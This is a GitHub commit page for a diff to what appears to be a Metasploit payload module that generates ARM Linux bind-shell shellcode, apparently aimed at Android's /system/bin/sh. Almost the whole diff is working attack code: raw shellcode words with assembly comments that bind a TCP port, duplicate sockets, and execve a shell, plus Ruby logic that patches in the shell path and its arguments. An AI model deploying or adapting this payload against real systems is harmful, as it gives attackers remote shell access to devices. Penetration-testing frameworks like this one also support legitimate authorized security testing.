Skip to content

Commit ac4c11c

Browse files
work on linux/armle/shell_bind/tcp
same changes as to shell_reverse_tcp
1 parent ebc7013 commit ac4c11c

File tree

1 file changed

+14
-22
lines changed

1 file changed

+14
-22
lines changed

modules/payloads/singles/linux/armle/shell_bind_tcp.rb

Lines changed: 14 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -29,8 +29,8 @@ def initialize(info = {})
2929
{
3030
'Offsets' =>
3131
{
32-
'RHOST' => [ 208, 'ADDR' ],
33-
'LPORT' => [ 206, 'n' ],
32+
'RHOST' => [ 172, 'ADDR' ],
33+
'LPORT' => [ 170, 'n' ],
3434
},
3535
'Payload' =>
3636
[
@@ -45,7 +45,7 @@ def initialize(info = {})
4545
0xe1a06000, # mov r6, r0
4646

4747
# bind
48-
0xe28f10A4, # 1dr r1, pc, #172 ; 0x9C
48+
0xe28f1080, # 1dr r1, pc, #128
4949
0xe3a02010, # mov r2, #16
5050
0xe3a07001, # mov r7, #1
5151
0xe1a07407, # lsl r7, r7, #8
@@ -78,25 +78,14 @@ def initialize(info = {})
7878
0x5afffffa, # bpl 8c <.text+0x8c>
7979

8080
# execve("/system/bin/sh", args, env)
81-
0xe28f0048, # add r0, pc, #72 ; 0xe40
81+
0xe28f0024, # add r0, pc, #36 ; 0x24
8282
0xe0244004, # eor r4, r4, r4
8383
0xe92d0010, # push {r4}
8484
0xe1a0200d, # mov r2, sp
85-
0xe92d0004, # push {r2}
86-
0xe1a0200d, # mov r2, sp
85+
0xe28f4024, # add r4, pc, #36 ; 0x10
8786
0xe92d0010, # push {r4}
88-
0xe59f1048, # ldr r1, [pc, #72] ; 8124 <env+0xe8>
89-
0xe92d0002, # push {r1}
90-
0xe92d2000, # push {sp}
9187
0xe1a0100d, # mov r1, sp
92-
0xe92d0004, # push {r2}
93-
0xe1a0200d, # mov r2, sp
94-
0xe3a0700b, # mov r7, #11 ; 0xeb
95-
0xef000000, # svc 0x00000000
96-
97-
# exit(0)
98-
0xe3a00000, # mov r0, #0 ; 0x0
99-
0xe3a07001, # mov r7, #1 ; 0x1
88+
0xe3a0700b, # mov r7, #11 ; 0xb
10089
0xef000000, # svc 0x00000000
10190

10291
# <af>:
@@ -110,7 +99,10 @@ def initialize(info = {})
11099
0x00000000, # .word 0x00000000
111100

112101
# <arg>:
113-
0x00000000 # .word 0x00000000 ; the args!
102+
0x00000000, # .word 0x00000000 ; the args!
103+
0x00000000, # .word 0x00000000
104+
0x00000000, # .word 0x00000000
105+
0x00000000, # .word 0x00000000
114106

115107
].pack("V*")
116108
}
@@ -131,14 +123,14 @@ def generate
131123
if sh.length >= 16
132124
raise ArgumentError, "The specified shell must be less than 16 bytes."
133125
end
134-
p[212, sh.length] = sh
126+
p[176, sh.length] = sh
135127

136128
arg = datastore['SHELLARG']
137129
if arg
138-
if arg.length >= 4
139-
raise ArgumentError, "The specified shell argument must be less than 4 bytes."
130+
if arg.length >= 16
131+
raise ArgumentError, "The specified shell argument must be less than 16 bytes."
140132
end
141-
p[228, arg.length] = arg
133+
p[192, arg.length] = arg
142134
end
143135

144136
p

0 commit comments

Comments
 (0)